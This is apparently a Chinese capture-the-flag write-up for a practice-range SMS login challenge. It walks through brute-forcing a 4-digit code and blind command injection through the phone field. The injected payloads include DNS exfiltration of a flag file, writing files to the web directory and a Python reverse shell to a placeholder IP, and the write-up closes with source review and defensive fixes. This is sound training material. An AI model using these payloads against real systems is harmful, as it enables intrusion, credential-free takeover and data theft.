文章总结: 靶场文章详述在短信验证码登录接口中利用4位数字验证码暴力破解未果后,通过延时确认盲命令注入,结合写入Web目录技巧最终读取/tmp/flag.txt并获取flag,附完整Python脚本、Burp利用示例、反弹shell与源码审计,指出os.system拼接用户输入导致注入并给出输入校验、参数化调用等防御方案。 综合评分: 82 文章分类: 渗透测试,漏洞分析,实战经验,安全培训,WEB安全
好靶场-小王采购了一个发送验证码的工具-WP
原创
泷羽Sec-静安
泷羽Sec-静安
2026年1月6日 00:00 云南
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=571
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
漏洞发现过程
1. 初步分析
访问目标网站,发现是一个短信验证码登录页面。页面有两个主要接口:
- •
/send– 发送验证码 - •
/login– 验证登录
[!question] 检查这个网页的代码有没有漏洞,这是个靶机,如果有告诉我利用方式和脚本
分析这个登录页面的代码,我发现了几个潜在的安全漏洞:
查看前端代码,发现验证码只有4位数字,存在明显的暴力破解漏洞。
2. 验证码爆破
编写Python脚本进行验证码爆破:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
def send_code(phone):
requests.post(f"{BASE_URL}/send", json={"phone": phone})
def brute_force_code(phone):
send_code(phone)
time.sleep(2)
for code_num in range(10000):
code = f"{code_num:04d}"
resp = requests.post(
f"{BASE_URL}/login",
json={"phone": phone, "code": code}
)
result = resp.json()
if result.get('success'):
print(f"[+] 验证码: {code}")
return code
if code_num % 100 == 0:
print(f"[*] 进度: {code_num}/10000", end='\r')
brute_force_code("18888888888")
成功爆破出验证码 2898,但登录后提示:”恭喜登录成功了,但是登录成功了也没有Flag”。
玩呢?啊?
3. 命令注入测试
结合题目提示”采购的工具”和”短信验证码”标签,怀疑后端可能直接将手机号参数拼接到系统命令中。
测试Sleep命令注入:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
# 测试sleep命令
start = time.time()
resp = requests.post(
f"{BASE_URL}/send",
json={"phone": "18888888888; sleep 5"}
)
elapsed = time.time() - start
print(f"响应时间: {elapsed:.2f}秒")
发现Burp里面修改手机号后面加sleep命令,网页确实等待了5秒后才响应。
结果:响应时间约5秒,确认存在命令注入漏洞!
使用Burp Suite手动测试:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; sleep 5"}
响应时间明显延迟5秒,证实了命令注入漏洞的存在。
4. 尝试外带数据(失败)
由于命令执行结果不会回显到HTTP响应中,这是典型的盲命令注入。首先尝试使用DNS外带数据。
DNSLog外带尝试:
- 1. 访问 http://dnslog.cn 获取临时域名:
g7nqkk.dnslog.cn - 2. 测试网络连通性:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}
- 3. 尝试外带flag:
{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}
结果:DNSLog没有收到任何记录,说明靶机无法访问外网或DNS被限制。 放轻松,DNS弹不出来是正常的。
5. 探测Web目录结构
既然外带不通,尝试将命令执行结果写入到web可访问的目录中。
探测当前工作目录:
import requests
import time
BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")
# 首先找出当前工作目录
print("[*] 步骤1: 探测当前工作目录...")
probe_commands = [
"pwd > /tmp/pwd.txt",
"ls -la > /tmp/ls.txt",
"echo $(pwd) > /tmp/path.txt",
]
for cmd in probe_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
time.sleep(0.3)
# 尝试多种路径写入1.txt
print("\n[*] 步骤2: 尝试将flag写入到1.txt...")
write_commands = [
# 直接写到当前目录
"cat /tmp/flag.txt > 1.txt",
"cat /tmp/flag.txt > ./1.txt",
"cp /tmp/flag.txt 1.txt",
"cp /tmp/flag.txt ./1.txt",
# 写到可能的web根目录
"cat /tmp/flag.txt > /app/1.txt",
"cat /tmp/flag.txt > /app/static/1.txt",
"cat /tmp/flag.txt > ./static/1.txt",
"cat /tmp/flag.txt > static/1.txt",
# 尝试templates目录
"cat /tmp/flag.txt > /app/templates/1.txt",
"cat /tmp/flag.txt > ./templates/1.txt",
"cat /tmp/flag.txt > templates/1.txt",
]
for cmd in write_commands:
payload = f"18888888888; {cmd}"
try:
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
print(f" ✓ 执行: {cmd}")
time.sleep(0.3)
except:
print(f" ✗ 失败: {cmd}")
# 尝试访问所有可能的路径
print("\n[*] 步骤3: 尝试访问1.txt...")
possible_paths = [
"/1.txt",
"/static/1.txt",
"/templates/1.txt",
"/app/1.txt",
"/app/static/1.txt",
"/app/templates/1.txt",
]
flag_found = False
for path in possible_paths:
try:
resp = requests.get(f"{BASE_URL}{path}", timeout=3)
if resp.status_code == 200 and len(resp.content) > 0:
print(f"\n{'='*60}")
print(f"[!!!] 成功找到: {BASE_URL}{path}")
print(f"{'='*60}")
print(f"FLAG内容: {resp.text}")
print(f"{'='*60}")
flag_found = True
break
else:
print(f" ✗ {path} - 状态码: {resp.status_code}")
except Exception as e:
print(f" ✗ {path} - 无法访问")
if not flag_found:
print("\n[!] 未能直接访问到文件")
print("[*] 尝试其他方法...\n")
# 方法2: 创建HTML文件嵌入flag
print("[*] 方法2: 创建HTML文件...")
html_commands = [
"echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
"cat /tmp/flag.txt > /app/static/1.html",
"cat /tmp/flag.txt > ./static/1.html",
]
for cmd in html_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
time.sleep(0.3)
html_paths = ["/1.html", "/static/1.html"]
for path in html_paths:
try:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200:
print(f"\n[!!!] HTML方式成功: {BASE_URL}{path}")
print(f"内容: {resp.text}")
flag_found = True
break
except:
pass
if not flag_found:
# 方法3: 尝试符号链接
print("\n[*] 方法3: 尝试创建符号链接...")
link_commands = [
"ln -sf /tmp/flag.txt /app/static/1.txt",
"ln -sf /tmp/flag.txt ./static/1.txt",
"ln -sf /tmp/flag.txt /app/1.txt",
"ln -sf /tmp/flag.txt ./1.txt",
]
for cmd in link_commands:
payload = f"18888888888; {cmd}"
requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
print(f" ✓ 执行: {cmd}")
time.sleep(0.3)
print("\n[*] 再次尝试访问...")
for path in possible_paths:
try:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and len(resp.content) > 0:
print(f"\n[!!!] 符号链接成功: {BASE_URL}{path}")
print(f"内容: {resp.text}")
break
except:
pass
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
{"phone":"18888888888; pwd > /app/static/test.txt"}
访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt
结果:
/app
成功!确认当前工作目录为 /app,且 /app/static 目录可通过web访问。
探测目录结构:
{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}
通过多次探测发现:
- • 当前目录:
/app - • 可写目录:
/app/static - • Flag位置:
/tmp/flag.txt(通过ls /tmp发现)
6. 获取Flag
最终Payload:
POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
Content-Length: 70
{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}
访问:http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt
成功获取Flag:
flag{976372a77dfd46b1816e229952e4a15e}
漏洞原因分析
后端代码可能类似:
import os
from flask import Flask, request
@app.route('/send', methods=['POST'])
def send_sms():
phone = request.json.get('phone')
# 危险:直接将用户输入拼接到shell命令中
os.system(f"send_sms.sh {phone}")
return {"success": True, "msg": "验证码发送成功"}
用户可控的 phone 参数被直接拼接到 os.system() 中执行,导致命令注入。
防御建议
- 1. 输入验证:严格验证手机号格式,使用正则表达式
^1[3-9]\d{9}$ - 2. 避免shell调用:使用Python的SMS库直接发送,避免调用shell命令
- 3. 参数化:如必须使用shell,使用
subprocess的列表参数形式 - 4. 最小权限:限制应用运行权限,避免访问敏感文件
# 安全的实现方式
import re
import subprocess
def send_sms(phone):
# 严格验证手机号
if not re.match(r'^1[3-9]\d{9}$', phone):
return {"success": False, "msg": "无效手机号"}
# 使用参数化调用,避免命令注入
subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
return {"success": True, "msg": "发送成功"}
总结
这道题目考查了:
- 1. 验证码爆破:4位纯数字验证码的安全风险
- 2. 命令注入识别:通过sleep延时判断
- 3. 盲注技巧:无回显情况下的数据外带
- 4. 目录探测:寻找可写且可访问的web目录
- 5. 实战思路:当常规外带方式失败时,灵活寻找其他突破点
Flag: flag{976372a77dfd46b1816e229952e4a15e}
意外发现,id居然是root,不是www-data,而是直接就是root。那怎么好意思不进来看看呢?
Python反弹Shell
{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}
YOUR_IP 用自己的公网服务器IP,推荐使用大麦云,找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs
弹回shell后cat app.py 看逻辑
from flask import Flask, render_template, request, jsonify
import os
import sqlite3
from sqlite3 import Error
import time
import random
app = Flask(__name__)
# 用于存储手机号和验证码的映射
phone_code_map = {}
# 用于记录每个手机号的验证码发送次数
phone_send_count = {}
@app.route('/')
def index():
# 将参数传递给模板
return render_template('login.html')
@app.route('/send', methods=['POST'])
def send_code():
print("123")
data = request.get_json()
phone = data.get('phone', '')
# 记录发送次数
count = phone_send_count.get(phone, 0)
phone_send_count[phone] = count + 1
print(f"手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}")
print(f"echo {phone} >> phone.txt")
os.system(f"echo {phone} >> phone.txt")
# 生成6位验证码
code = ''.join([str(random.randint(0, 9)) for _ in range(4)])
print("123")
# 将验证码和手机号绑定
phone_code_map[phone] = code
msg = f'验证码发送成功'
return jsonify({'success': True, 'msg': msg})
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
phone = data.get('phone', '')
input_code = data.get('code', '')
# 校验手机号格式
if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith('1'):
return jsonify({'success': False, 'msg': '手机号格式不正确'})
# 校验验证码格式
if not input_code or not input_code.isdigit() or len(input_code) != 4:
return jsonify({'success': False, 'msg': '验证码格式不正确'})
# 验证码校验,需和手机号绑定
code = phone_code_map.get(phone)
if not code or input_code != code:
return jsonify({'success': False, 'msg': '验证码错误'})
# 登录成功
# 这里可以进行用户注册或登录逻辑
return jsonify({'success': True, 'msg': '恭喜登录成功了,但是登录成功了也没有Flag'})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
漏洞分析
关键代码(第26-27行)
print(f"echo {phone} >> phone.txt")
os.system(f"echo {phone} >> phone.txt")
这就是典型的命令注入漏洞!
漏洞原理
- 1. 用户可控输入:
phone参数完全来自用户的POST请求 - 2. 直接拼接到shell命令:使用
os.system()直接执行拼接的字符串 - 3. 没有任何过滤:虽然后面有格式验证(第42-43行),但这些验证在
/login路由中,而命令注入在/send路由的验证之前就执行了
攻击流程
用户请求 /send
↓
获取 phone 参数
↓
直接执行 os.system(f"echo {phone} >> phone.txt") ← 命令注入点
↓
生成验证码
↓
返回成功
为什么需要 sleep?
查看代码逻辑:
- •
/send路由执行命令后立即返回响应 - • 如果命令执行时间过长,HTTP响应可能在命令完成前就返回了
- • 添加
sleep 5确保:
- 1. 命令有足够时间执行完成
- 2. 文件写入操作完成
- 3. 防止进程被过早终止
漏洞利用示例
# 正常使用
phone = "18888888888"
# 实际执行: echo 18888888888 >> phone.txt
# 命令注入
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
# ^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# 正常命令 注入的恶意命令
# 加上sleep确保执行
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-小王采购了一个发送验证码的工具-WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论